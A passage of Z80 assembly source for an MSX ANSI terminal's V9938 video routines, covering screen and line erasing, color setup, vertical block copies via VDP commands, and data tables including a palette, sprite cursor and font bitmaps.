A,(BackColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle CALL DO_HMMV ; Aaaand.... Clear! ; Now, do we need to clear below cursor? LD A,(CursorRow) ; Let's see how many pixels we need to fill LD B,A ; Now get the row / line in B LD A,24 ; Up to 25 lines, 0 is first, 24 is the 25th line SUB A,B ; Let's check how many extra lines need to be cleared RET Z ; If last line, done ; Not last, so multiply it per 8 ADD A,A ADD A,A ADD A,A LD (HMMV_CMD_NYL),A ; To clear remaining lines it is 8 pixels height multiplied by number of lines XOR A LD (HMMV_CMD_DXL),A ; DXL 0 LD A,0xE0 ; We draw 240 double-pixels (6 pixels wide characters * 80 columns), 480 pixels, 0x01E0 LD (HMMV_CMD_NXL),A ; Store as NX lower byte LD A,1 LD (HMMV_CMD_NXH),A ; Store NX higher byte LD A,(CursorRow) ; Now get the row / line INC A ; Next line ADD A,A ; 8 pixels height each character, multiply it per 8 ADD A,A ADD A,A LD (HMMV_CMD_DYL),A ; This is the Y axys start CALL DO_HMMV ; Aaaand.... Clear! RET V9938_ErDis1: XOR A LD (HMMV_CMD_DXL),A ; DX = Beginning of line, 0 LD (HMMV_CMD_DXH),A ; DX = Beginning of line, 0 LD A,(CursorCol) LD B,A ADD A,A ADD A,B ; Column * 6 = X coordinate of current cursor position ADD A,A ; And now double it LD (HMMV_CMD_NXL),A ; Store as NX lower byte LD A,0x00 ; Probably will be 0 NX higher byte JR NC,V9938_ErDis1_NXH ; But if carry, means it is 1 INC A ; If carry, NXh is 1 V9938_ErDis1_NXH: LD (HMMV_CMD_NXH),A ; Store it LD A,(CursorRow) ; Now get the row / line ADD A,A ; 8 pixels height each character, multiply it per 8 ADD A,A ADD A,A LD (HMMV_CMD_DYL),A ; This is the Y axys start LD A,0x08 LD (HMMV_CMD_NYL),A ; To clear a single line it is 8 pixels height number of dots height LD A,(BackColor) ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(BackColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle CALL DO_HMMV ; Aaaand.... Clear! ; Now, do we need to clear above cursor? LD A,(CursorRow) ; Let's see how many pixels we need to fill OR A ; First row/line? JR Z,V9938_ErDis1_SL ; If first line, done ; Not first, so multiply it per 8 ADD A,A ADD A,A ADD A,A LD (HMMV_CMD_NYL),A ; To clear remaining lines it is 8 pixels height multiplied by number of lines - 1 (which is cursor row) XOR A LD (HMMV_CMD_DYL),A ; DYL, DXL ,DXH 0 LD (HMMV_CMD_DXL),A LD (HMMV_CMD_DXH),A LD A,0xE0 ; We draw 240 double-pixels (6 pixels wide characters * 80 columns), 480 pixels, 0x01E0 LD (HMMV_CMD_NXL),A ; Store as NX lower byte LD A,1 LD (HMMV_CMD_NXH),A ; Store NX higher byte CALL DO_HMMV ; Aaaand.... Clear! V9938_ErDis1_SL: LD HL,(EndAddress) JP PrintText_RLP V9938_ErChar0: LD A,(CursorCol) ; Will start from current column LD B,A ADD A,A ADD A,B ; A has column * 3 LD (HMMV_CMD_DXL),A ; Store in the destination X LD A,C ; Characters to delete in C ADD A,A ADD A,C ADD A,A ; And now double it, chars * 6 LD (HMMV_CMD_NXL),A ; This is the number of pixels to erase LD A,0x00 ; High byte could be 0 JR NC,V9938_ErChar0_NXH ; If did not carry, it is INC A ; Otherwise it is 1 V9938_ErChar0_NXH: LD (HMMV_CMD_NXH),A ; High Byte number of pixels to erase LD A,(CursorRow) ; Now calculate destination Y ADD A,A ADD A,A ADD A,A LD (HMMV_CMD_DYL),A ; Row * 8 is the Y position LD A,0x08 LD (HMMV_CMD_NYL),A ; And delete 8 pixels in Y direction, one line LD A,(BackColor) ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(BackColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle CALL DO_HMMV ; And erase this LD HL,(EndAddress) JP PrintText_RLP V9938_ErLin0: LD A,(CursorCol) ; Will start from current column V9938_ErLin0_1: LD B,A ; Cursor column in B ADD A,A ADD A,B ; A has column * 3 LD (HMMV_CMD_DXL),A ; Store in the destination X LD B,A ; Save it in B (this is a value in double pixels) LD A,240 ; 240 double pixels is a line width (80x6) SUB A,B ; Subtract the total width from the current width ADD A,A ; Now this information is need in real pixels, so double it LD (HMMV_CMD_NXL),A ; And this the X axys lenght of the command LD A,0x00 ; High Byte could be 0 JR NC,V9938_ErLin0_NXH ; And it is zero if no carry INC A ; Ok, carry, so it is 1 V9938_ErLin0_NXH: LD (HMMV_CMD_NXH),A ; High Byte of X axys lenght LD A,(CursorRow) ; Now get the current line ADD A,A ADD A,A ADD A,A ; Multiply per 8 as each line is 8 pixelslarge LD (HMMV_CMD_DYL),A ; This is the destination Y LD A,0x08 LD (HMMV_CMD_NYL),A ; a line is 8 pixes, so this the Y axys lenght of the command LD A,(BackColor) ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(BackColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle CALL DO_HMMV ; and perform the HMMV command to delete it LD HL,(EndAddress) JP PrintText_RLP V9938_ErLin1: XOR A LD (HMMV_CMD_DXL),A LD (HMMV_CMD_DXH),A LD A,(CursorCol) LD B,A ADD A,A ADD A,B LD C,0 ADD A,A JR NC,V9938_ErLin1_CNT INC C V9938_ErLin1_CNT: LD (HMMV_CMD_NXL),A LD A,C JP V9938_ErLin0_NXH V9938_ErLin2: LD A,(CursorRow) ; Clear Entire Line LD B,0 ; Background color CALL V9938_ClearLine XOR A LD (CursorCol),A CALL V9938_SetCursorX LD HL,(EndAddress) JP PrintText_RLP V9938_SetColors: LD A,(HiLighted) ; Let's check if HiLighted OR A LD A,(ForeColor) ; And get the foreground color JR Z,V9938_SetColors_NHA ; If not HiLighted, move on ADD 0x08 ; Otherwise, different color, add 8 to get colors 9 to 16 of our pallete V9938_SetColors_NHA: LD B,A ; Ok, palete color index in B ADD A,A ADD A,A ADD A,A ADD A,A ; Multiply by 16 -> Shift left 4 times -> Value in MSB OR B ; And value now in LSB as well, colors are pairs for G6 LD (FontColor),A ; And this is our font color (Fore / Fore) LD A,(BackColor) ; Do the same to background color ADD A,A ADD A,A ADD A,A ADD A,A ; Multiply by 16 -> Shift left 4 times -> Value in MSB LD B,A ; B has background color in MSB and 0 in LSB LD A,(BackColor) ; A has background color in LSB OR B ; And value now in LSB as well, colors are pairs for G6 LD (ColorTable+00),A ; ColorTable 0 -> Background and BackGround LD A,(FontColor) AND 0x0F ; Foreground color on LSB OR B ; Background color on MSB LD (ColorTable+01),A ; Color table 1 ->Background and Foreground LD A,(FontColor) AND 0xF0 ; Foreground color on MSB LD B,A ; Move it to B LD A,(BackColor) ; Background color on LSC OR B LD (ColorTable+02),A ; Color table 2 -> Foreground and Background LD A,(FontColor) LD (ColorTable+03),A ; Color table 3 -> Foreground and Foreground ;OPJ - Sprite Cursor added JP V9938_CursorColor V9938_CopyBlockYUp: ; ; A <- HowManyRows ; B <- DestinationRow ; C <- SourceRow ; ; Not really proud of this code, but gonna do for this moment ; There is a possibility of two splits on YMMM of large blocks, one for destination and other ; for source. When both occur at the same time, YMMM code is not handling it properly. And it ; might take a while until I figure out a sane way to do this, so, for the moment, we do it ; every line, as this guarantees that only one of them will cross boundaries, not beautiful ; but it works PUSH DE ; Save it, we are gonna mess w/ it and not sure if other code depends on it DEC A ; As it is up, we need to adjust source and dest to figure out the last of each one LD D,A ; Save as we are going to re-use it ADD A,B ; A now has the last destination row LD B,A ; and save it back to B LD A,D ; Back with the value in A ADD A,C ; A now has the last source row LD C,A ; and save it back to C LD A,D ; Back wit how many rows - 1 INC A ; How many rows again POP DE ; Restore DE V9938_CopyBlockYUp_1: PUSH AF ; Save registers, those are going to be messed in CopyBlockYUpLine PUSH BC LD A,1 ; We are going to do line per line CALL V9938_CopyBlockYUpLine POP BC ; Restore Dest and Source POP AF ; Restore how many lines DEC A ; Decrease how many lines RET Z ; If no more lines, done DEC B ; Otherwise, next destination line DEC C ; Next source line to copy JP V9938_CopyBlockYUp_1 ; Wash, Rinse and repeat.... :-P V9938_CopyBlockYUpLine: ADD A,A ADD A,A ADD A,A LD (YMMM_CMD_NYL),A ; Will copy a rectangle with A*8 pixels on the Y axis LD D,A ; Save NYL in D DEC D ; Adjust for our math LD A,C ; Get Source Row ADD A,A ADD A,A ADD A,A LD HL,(VDP_23) ; Get current vertical offset ADD A,L ; Add it ADD A,D ; And add how many lines, as we are going from bottom to top, start at the last line LD (YMMM_CMD_SYL),A ; Source Y coordinate LD H,A ; Save SYL in H LD A,B ADD A,A ADD A,A ADD A,A ADD A,L ; Add current vertical offset to it ADD A,D ; And add how many lines, as we are going from bottom to top, start at the last line LD (YMMM_CMD_DYL),A ; To ; There are three possible splits here: ; 1st - SY - NY carry.... Then we have to split in two operations with different SY, DY and NY ; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry ; 2nd operation will be: SY as 0, DY as DY - 1st NY and NY being the remainder after carry ; ; 2nd - DY - NY carry.... Then we have to split in two operations with different SY, DY and NY ; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry ; 2nd operation will be: DY as 0, SY as SY - 1st NY and NY being the remainder after carry ; ; 3rd - 1st and 2nd at the same time.... Then we have to split in three operations with different SY, DY and NY ; First need to figure out which operation will overlap first, DY or NY ; ; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry ; 2nd operation will be: DY as 0, SY as SY - 1st NY and NY being the remainder after carry ; ; Need to test the 1st hypothesis LD A,H ; Source Y coordinate in A SUB A,D ; SY - NY JR C,V9938_CopyBlockYUp_DO1; If Carry, this is split case 1,do it LD A,(YMMM_CMD_DYL) ; DY SUB A,D ; NY - DY ; If Carry, this is split case 2,do it JR C,V9938_CopyBlockYUp_DO2 ; Otherwise, it is a single operation so... LD A,8 LD (YMMM_CMD_ARG),A ; Direction is Up LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well JP DO_YMMM ; Do the single operation and YMMM will return for us V9938_CopyBlockYUp_DO1: ; Here we are, source - number of lines will overflow ; Whatever is in A now is how much SY we need to do the second time LD B,A ; Save this in B for now LD A,D ; NYL in A SUB A,B ; This is our first NYL LD (YMMM_CMD_NYL),A ; First rectangle of split operation LD A,B ; Restore the overflow of lines LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation LD A,8 ; Direction is Up LD (YMMM_CMD_ARG),A LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well CALL DO_YMMM ; Do the first operation XOR A LD (YMMM_CMD_SYL),A ; Second round Source LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A LD B,A ; Save it in B LD A,(YMMM_CMD_DYL) ; line of 1st operation destination SUB A,B ; Subtract first SYL to it LD (YMMM_CMD_DYL),A ; line of 2nd operation destination LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A OR A ; Check if zero RET Z ; If it is, dones LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ of lines already copied and NYL with the remaining lines to copy JP DO_YMMM ; Do the second operation and then done, so return from there V9938_CopyBlockYUp_DO2: ; Here we are, destination - number of lines will overflow ; Whatever is in A now is how much NY we need to do the second time LD B,A ; Save this in B for now LD A,D ; NYL in A SUB A,B ; This is our first NYL LD (YMMM_CMD_NYL),A ; First rectangle of split operation LD A,B ; Restore the overflow of lines LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation LD A,8 ; Direction is Up LD (YMMM_CMD_ARG),A LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well CALL DO_YMMM ; Do the first operation XOR A LD (YMMM_CMD_DYL),A ; Second round To LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A LD B,A ; Save it in B LD A,(YMMM_CMD_SYL) ; of starting source lines of 1st operation in A SUB A,B ; Subtract both LD (YMMM_CMD_SYL),A ; of starting source lines of 2nd operation LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A OR A ; Check if zero RET Z ; If it is, dones LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ of lines already copied and NYL with the remaining lines to copy JP DO_YMMM ; Do the second operation and then done, so return from there V9938_CopyBlockYDown: ; ; A <- HowManyRows ; B <- SourceRow ; C <- DestinationRow ; ; ; Not really proud of this code, but gonna do for this moment ; There is a possibility of two splits on YMMM of large blocks, one for destination and other ; for source. When both occur at the same time, YMMM code is not handling it properly. And it ; might take a while until I figure out a sane way to do this, so, for the moment, we do it ; every line, as this guarantees that only one of them will cross boundaries, not beautiful ; but it works PUSH AF ; Save registers, those are going to be messed in CopyBlockYUpLine PUSH BC LD A,1 ; We are going to do line per line CALL V9938_CopyBlockYDownLine POP BC ; Restore Dest and Source POP AF ; Restore how many lines DEC A ; Decrease how many lines RET Z ; If no more lines, done INC B ; Otherwise, next destination line INC C ; Next source line to copy JP V9938_CopyBlockYDown ; Wash, Rinse and repeat.... :-P V9938_CopyBlockYDownLine: ADD A,A ADD A,A ADD A,A LD (YMMM_CMD_NYL),A ; Will copy a rectangle with A*8 pixels on the Y axis LD D,A ; Save NYL in D LD A,B ADD A,A ADD A,A ADD A,A LD HL,(VDP_23) ; Get current vertical offset ADD A,L ; Add it LD (YMMM_CMD_SYL),A ; Source Y coordinate LD E,A ; Save SYL in E LD A,C ADD A,A ADD A,A ADD A,A ADD A,L ; Add current vertical offset to it LD (YMMM_CMD_DYL),A ; To ; There are two possible splits here: ; 1st - SY + NY carry.... Then we have to split in two operations with different SY, DY and NY ; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry ; 2nd operation will be: SY as 0, DY as DY + 1st NY and NY being the remainder after carry ; ; 2nd - DY + NY carry.... Then we have to split in two operations with different SY, DY and NY ; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry ; 2nd operation will be: DY as 0, SY as SY + 1st NY and NY being the remainder after carry ; Need to test the 1s hypothesis LD A,E ; Source Y coordinate in A ADD A,D ; SY + NY JR C,V9938_CopyBlockYDown_DO1 ; If Carry, this is split case 1,do it LD A,(YMMM_CMD_DYL) ; DY ADD A,D ; NY + DY JR C,V9938_CopyBlockYDown_DO2 ; If Carry, this is split case 2,do it ; Otherwise, it is a single operation so... XOR A LD (YMMM_CMD_ARG),A ; Direction is down LD A,8 ; Skip the first 16 pixels as those do not matter (our border) LD (YMMM_CMD_DXL),A ; And this is our X starting source point JP DO_YMMM ; Do the single operation and YMMM will return for us V9938_CopyBlockYDown_DO1: ; Here we are, source + number of lines will overflow ; Whatever is in A now is how much SY we need to do the second time LD B,A ; Save this in B for now LD A,D ; NYL in A SUB A,B ; This is our first NYL LD (YMMM_CMD_NYL),A ; First rectangle of split operation LD A,B ; Restore the overflow of lines LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation XOR A LD (YMMM_CMD_ARG),A ; Direction is down LD A,8 ; Skip the first 16 pixels as those do not matter (our border) LD (YMMM_CMD_DXL),A ; And this is our X starting source point CALL DO_YMMM ; Do the first operation XOR A LD (YMMM_CMD_SYL),A ; Second round Source LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A LD B,A ; Save it in B LD A,(YMMM_CMD_DYL) ; line of 1st operation destination ADD A,B ; Add first SYL to it LD (YMMM_CMD_DYL),A ; line of 2nd operation destination LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A OR A ; Check if zero RET Z ; If it is, dones LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ of lines already copied and NYL with the remaining lines to copy JP DO_YMMM ; Do the second operation and then done, so return from there V9938_CopyBlockYDown_DO2: ; Here we are, destination + number of lines will overflow ; Whatever is in A now is how much NY we need to do the second time LD B,A ; Save this in B for now LD A,D ; NYL in A SUB A,B ; This is our first NYL LD (YMMM_CMD_NYL),A ; First rectangle of split operation LD A,B ; Restore the overflow of lines LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation XOR A LD (YMMM_CMD_ARG),A ; Direction is down LD A,8 ; Skip the first 16 pixels as those do not matter (our border) LD (YMMM_CMD_DXL),A ; And this is our X starting source point CALL DO_YMMM ; Do the first operation XOR A LD (YMMM_CMD_DYL),A ; Second round To LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A LD B,A ; Save it in B LD A,(YMMM_CMD_SYL) ; of starting source lines of 1st operation in A ADD A,B ; Add both LD (YMMM_CMD_SYL),A ; of starting source lines of 2nd operation LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A OR A ; Check if zero RET Z ; If it is, dones LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ of lines already copied and NYL with the remaining lines to copy JP DO_YMMM ; Do the second operation and then done, so return from there V9938_WaitCmd: LD A,0x02 DI OUT (0x99),A LD A,0x80+15 OUT (0x99),A IN A,(0x99) RRA LD A,0x00 OUT (0x99),A LD A,0x80+15 OUT (0x99),A EI RET NC JR V9938_WaitCmd DO_HMMC: EXX DI LD A,0x24 ; Register 36 as value for... OUT (0x99),A LD A,0x91 ; Register 17 (indirect register access auto increment) OUT (0x99),A EI LD HL,HMMC_CMD ; The HMMC buffer LD C,0x9B ; And port for indirect access CALL V9938_WaitCmd ; Wait if any command is pending OUTI ; And now send the buffer OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI DI LD A,0xAC OUT (0x99),A LD A,0x91 OUT (0x99),A ; Write to register 17 disabling auto incrementing and pointing to 44 (color register), next pixels are sent through R44 EI EXX RET DO_HMMV: CALL V9938_WaitCmd ; Wait if any command is pending DI LD A,0x24 ; Register 36 as value for... OUT (0x99),A LD A,0x91 ; Register 17 (indirect register access auto increment) OUT (0x99),A LD HL,HMMV_CMD ; The HMMV buffer LD C,0x9B ; And port for indirect access LD A,(HL) ; LD DXL in A INC HL INC HL ; HL pointing to DYL ADD 0x08 ; Add 8 to DXL (A) - Border of 16 pixels ADD A,A ; Multiply by 2 OUT (C),A ; And send DXL to 36 LD A,0x00 ; DXH could be 0 JR NC,DO_HMMV_DXH ; If no carry, it is 0 INC A ; Otherwise it is 1 DO_HMMV_DXH: OUT (C),A ; And send DXH to 37 LD A,(HL) ; Load DYL in A INC HL INC HL ; HL pointing @ NXL LD B,A ; Copy DYL to B LD A,(HMMV_CMD_NYL2) ; It's the second step? OR A LD A,(VDP_23) ; Get current vertical offset JR Z,DO_HMMV_FIRST XOR A DO_HMMV_FIRST: ADD A,B ; Add our DYL to it OUT (C),A ; Send it to 38 LD B,A ; Copy adjusted DYL to B LD A,(HMMV_CMD_NYL) ; NYL ADD A,B ; Ok, now let's check if there is an overflow LD (HMMV_CMD_NYL2),A ; Save just in case it is a split operation :D JR NC,DO_HMMV_ONESTEP ; If not carry, last line is within the page constraints so it is a single step JR Z,DO_HMMV_ONESTEP ; If zero, no second step LD B,A ; This is the remainder LD A,(HMMV_CMD_NYL) ; NYL SUB A,B ; First step length LD (HMMV_CMD_NYL),A ; New NYL ;Now finish first step here, and follow-up with a second step XOR A ; DYH always 0 OUT (C),A ; Send it OUTI ; And now send the rest of buffer OUTI OUTI OUTI OUTI OUTI OUTI EI ; Ok, so now for the second step XOR A ; So DY went up to 255, it will now start at 0 LD (HMMV_CMD_DYL),A ; New DYL LD A,(HMMV_CMD_NYL2) ; The remaining lenght at Y LD (HMMV_CMD_NYL),A ; Now at NYL JP DO_HMMV ; And go execute the second step, that won't overflow and will exit cleanly :) DO_HMMV_ONESTEP: XOR A ; DYH always 0 OUT (C),A ; Send it OUTI ; And now send the rest of buffer OUTI OUTI OUTI OUTI OUTI OUTI EI LD (HMMV_CMD_NYL2),A ; Clear NYL2 RET ; This function is safe for a single line only, if spanning over more than one line, it might potentially miss data DO_HMMM: DI LD A,0x20 ; Register 32 as value for... OUT (0x99),A LD A,0x91 ; Register 17 (indirect register access auto increment) OUT (0x99),A EI LD HL,HMMM_CMD ; The HMMC buffer LD C,0x9B ; And port for indirect access CALL V9938_WaitCmd ; Wait if any command is pending OUTI ; And now send the buffer OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI RET DO_YMMM: DI LD A,0x22 ; Register 34 as value for... OUT (0x99),A LD A,0x91 ; Register 17 (indirect register access auto increment) OUT (0x99),A EI LD HL,YMMM_CMD ; The YMMM buffer LD C,0x9B ; And port for indirect access CALL V9938_WaitCmd ; Wait if any command is pending OUTI ; And now send the buffer OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI OUTI RET ; ; DATA Portion ; ; This is where our data is defined ; OrgAddress: DW 0x0000 EndAddress: DW 0x0000 SavedCol: DB 0x00 SavedRow: DB 0x00 CursorCol: DB 0x00 CursorRow: DB 0x00 CursorOn: DB 0x00 CursorUpdt: DB 0x00 BackColor: DB 0x00 BorderColor:DB 0x00 ClearColor: DB 0x00 ForeColor: DB 0x07 FontColor: DB 0x07 HiLighted: DB 0x00 Reversed: DB 0x00 Concealed: DB 0x00 LastChar: DB 0x65 ANSI_M: DB 0x00 ; If ESC was the previous character will hold ESC, if processing ESC command, will hold [, otherwise 00 ANSI_P: DW ANSI_S ; Point the next free position in buffer ANSI_S: DS 0x10 ; Buffer to hold the ANSI command or data received to print ANSI_CB: DB 0x00 ; Wheter we have a callback for cursor position requests or not Parameters_PST: DB "0123456789ABCDEF0123456789ABCDEF" Parameters_TRM: DB 0x00 Parameters_PCT: DB 0x00 Parameters_PPT: DW Parameters_PRM Parameters_PRM: DB 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ColorTable: DB 0x00,0x0F,0xF0,0xFF SPRITEPOS_X: DB 0x00 HMMC_CMD: HMMC_CMD_DXL: DB 0x10 HMMC_CMD_DXH: DB 0x00 HMMC_CMD_DYL: DB 0x00 HMMC_CMD_DYH: DB 0x00 HMMC_CMD_NXL: DB 0x06 HMMC_CMD_NXH: DB 0x00 HMMC_CMD_NYL: DB 0x08 HMMC_CMD_NYH: DB 0x00 HMMC_CMD_CLR: DB 0x00 HMMC_CMD_ARG: DB 0x00 HMMC_CMD_CMD: DB 0xF0 HMMV_CMD: HMMV_CMD_DXL: DB 0x00 HMMV_CMD_DXH: DB 0x00 HMMV_CMD_DYL: DB 0x00 HMMV_CMD_DYH: DB 0x00 HMMV_CMD_NXL: DB 0x00 HMMV_CMD_NXH: DB 0x00 HMMV_CMD_NYL: DB 0x00 HMMV_CMD_NYH: DB 0x00 HMMV_CMD_CLR: DB 0x00 HMMV_CMD_ARG: DB 0x00 HMMV_CMD_CMD: DB 0xC0 HMMV_CMD_NYL2: DB 0x00 HMMM_CMD: HMMM_CMD_SXL: DB 0x00 HMMM_CMD_SXH: DB 0x00 HMMM_CMD_SYL: DB 0x00 HMMM_CMD_SYH: DB 0x00 HMMM_CMD_DXL: DB 0x00 HMMM_CMD_DXH: DB 0x00 HMMM_CMD_DYL: DB 0x00 HMMM_CMD_DYH: DB 0x00 HMMM_CMD_NXL: DB 0x00 HMMM_CMD_NXH: DB 0x00 HMMM_CMD_NYL: DB 0x00 HMMM_CMD_NYH: DB 0x00 HMMM_CMD_CLR: DB 0x00 ; HMMM doesn't use it, but it is faster to send 0 here and not stop sending incremental registers, two outs total, vs 3 outs to skip color and write inc on ARG HMMM_CMD_ARG: DB 0x00 HMMM_CMD_CMD: DB 0xD0 YMMM_CMD: YMMM_CMD_SYL: DB 0x00 ; R34 YMMM_CMD_SYH: DB 0x00 ; R35 YMMM_CMD_DXL: DB 0x00 ; R36 YMMM_CMD_DXH: DB 0x00 ; R37 YMMM_CMD_DYL: DB 0x00 ; R38 YMMM_CMD_DYH: DB 0x00 ; R39 YMMM_CMD_NXL: DB 0x00 ; R40, YMMM doesn't use but it is faster to send 0 here YMMM_CMD_NXH: DB 0x00 ; R41, YMMM doesn't use but it is faster to send 0 here YMMM_CMD_NYL: DB 0x00 ; R42 YMMM_CMD_NYH: DB 0x00 ; R43 YMMM_CMD_CLR: DB 0x00 ; R44, YMMM doesn't use but it is faster to send 0 here YMMM_CMD_ARG: DB 0x00 ; R45 YMMM_CMD_CMD: DB 0xE0 ; R46 YMMM_CMD_NYL2: DB 0x00 ; R42 for split operation second step ANSI_PAL: DB 0x00,0x00,0x50,0x00,0x00,0x05,0x50,0x02,0x05,0x00,0x55,0x00,0x05,0x05,0x55,0x05 DB 0x22,0x02,0x72,0x02,0x22,0x07,0x72,0x07,0x27,0x02,0x77,0x02,0x27,0x07,0x77,0x07 SPRITE_TABLE: DB 0x00,0x00,0x00,0x00 ; Cursor is first, start at line 0, colum 0, uses pattern 0 reserved byte whatever DB 0xD8,0x00,0x01,0x00 ; Next line D8 to make invisible, use pattern 1 (all 0) PATTERN_CURSOR: DB 0x00,0x00,0x00,0x00,0x00,0xE0,0xE0,0x00 PATTERN_INVISIBLE: DB 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 SPRITE_COLORS: DB 0x20,0x20,0x20,0x20,0x20,0x27,0x27,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 DB 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 FontData: DB 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ;000 / 0x00 - NUL - Not printable DB 0x3C,0x40,0xA4,0x80,0xA4,0x98,0x40,0x3C ;001 / 0x01 - Smile face DB 0x78,0xFC,0xB4,0xFC,0xB4,0xCC,0xFC,0x00 ;002 / 0x02 - Dark Smile Face DB 0x6C,0xFC,0xFC,0xFC,0x7C,0x38,0x10,0x00 ;003 / 0x03 - Heart DB 0x10,0x38,0x7C,0xFC,0x7C,0x38,0x10,0x00 ;004 / 0x04 - Diamond DB 0x10,0x38,0x54,0xFC,0x54,0x10,0x38,0x00 ;005 / 0x05 - Club DB 0x10,0x38,0x7C,0xFC,0xFC,0x10,0x38,0x00 ;006 / 0x06 - Spade DB 0x00,0x00,0x00,0x30,0x30,0x00,0x00,0x00 ;007 / 0x07 - Bell, not printable DB 0xFC,0xFC,0xFC,0xE4,0xE4,0xFC,0xFC,0xFC ;008 / 0x08 - Backspace, not printable DB 0x38,0x44,0x80,0x80,0x80,0x44,0x38,0x00 ;009 / 0x09 - Tab, not printable DB 0xC4,0xB8,0x7C,0x7C,0x7C,0xB8,0xC4,0xFC ;010 / 0x0A - Line Feed, not printable DB 0x38,0x08,0x28,0x70,0x88,0x88,0x88,0x70 ;011 / 0x0B - Male Sign DB 0x38,0x44,0x44,0x44,0x38,0x10,0x7C,0x10 ;012 / 0x0C - Form Feed, not printable, clear screen DB 0x30,0x28,0x24,0x24,0x28,0x20,0xE0,0xC0 ;013 / 0x0D - Carriage Return, not printable DB 0x3C,0x24,0x3C,0x24,0x24,0xE4,0xDC,0x18 ;014 / 0x0E - Beamed note DB 0x10,0x54,0x38,0xEC,0x38,0x54,0x10,0x00 ;015 / 0x0F - Sun Ray DB 0x40,0x60,0x70,0x78,0x70,0x60,0x40,0x00 ;016 / 0x10 - Arrow tip to right DB 0x10,0x30,0x70,0xF0,0x70,0x30,0x10,0x00 ;017 / 0x11 - Arrow tip to left DB 0x20,0x70,0xA8,0x20,0x20,0xA8,0x70,0x20 ;018 / 0x12 - UpDown arrow DB 0x48,0x48,0x48,0x48,0x00,0x48,0x48,0x00 ;019 / 0x13 - Double Exclamation Mark DB 0x7C,0xE1,0xE1,0x28,0x28,0x28,0x28,0x00 ;020 / 0x14 - Pilcrow DB 0x18,0x24,0x30,0x48,0x48,0x30,0x90,0x60 ;021 / 0x15 - Section Sign DB 0x00,0x00,0x00,0xFC,0xFC,0x00,0x00,0x00 ;022 / 0x16 - Black Rectangle DB 0x20,0x70,0xA8,0x20,0x20,0xA8,0x70,0xFC ;023 / 0x17 - UpDown arrow with base DB 0x20,0x70,0xA8,0x20,0x20,0x20,0x20,0x00 ;024 / 0x18 - Arrow Up DB 0x20,0x20,0x20,0x20,0xA8,0x70,0x20,0x00 ;025 / 0x19 - Arrow Down DB 0x00,0xC0,0x30,0xF8,0x30,0xC0,0x00,0x00 ;026 / 0x1A - Arrow Right DB 0x00,0x18,0x60,0xF8,0x60,0x18,0x00,0x00 ;027 / 0x1B - ESC, not printables DB 0x00,0x40,0x40,0x40,0x40,0x7C,0x00,0x00 ;028 / 0x1C - Right Angle DB 0x00,0x00,0x20,0x48,0xFC,0x48,0x10,0x00 ;029 / 0x1D - Left-Right Arrow DB 0x20,0x20,0x70,0x70,0xF8,0xF8,0x00,0x00 ;030 / 0x1E - Arrow tip up DB 0xF8,0xF8,0x70,0x70,0x20,0x20,0x00,0x00 ;031 / 0x1F - Arrow tip down DB 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ;032 / 0x20 - Space DB 0x20,0x20,0x20,0x20,0x00,0x00,0x20,0x00 ;033 / 0x21 - DB 0x50,0x50,0x50,0x00,0x00,0x00,0x00,0x00 ;034 / 0x22 - DB 0x50,0x50,0xF8,0x50,0xF8,0x50,0x50,0x00 ;035 / 0x23 - DB 0x20,0x78,0xA0,0x70,0x28,0xF0,0x20,0x00 ;036 / 0x24 - DB 0xC0,0xC8,0x10,0x20,0x40,0x98,0x18,0x00 ;037 / 0x25 - DB 0x40,0xA0,0x40,0xA8,0x90,0x98,0x60,0x00 ;038 / 0x26 - DB 0x10,0x20,0x40,0x00,0x00,0x00,0x00,0x00 ;039 / 0x27 - DB 0x10,0x20,0x40,0x40,0x40,0x20,0x10,0x00 ;040 / 0x28 - DB 0x40,0x20,0x10,0x10,0x10,0x20,0x40,0x00 ;041 / 0x29 - DB 0x20,0xA8,0x70,0x20,0x70,0xA8,0x20,0x00 ;042 / 0x2A - DB 0x00,0x20,0x20,0xF8,0x20,0x20,0x00,0x00 ;043 / 0x2B - 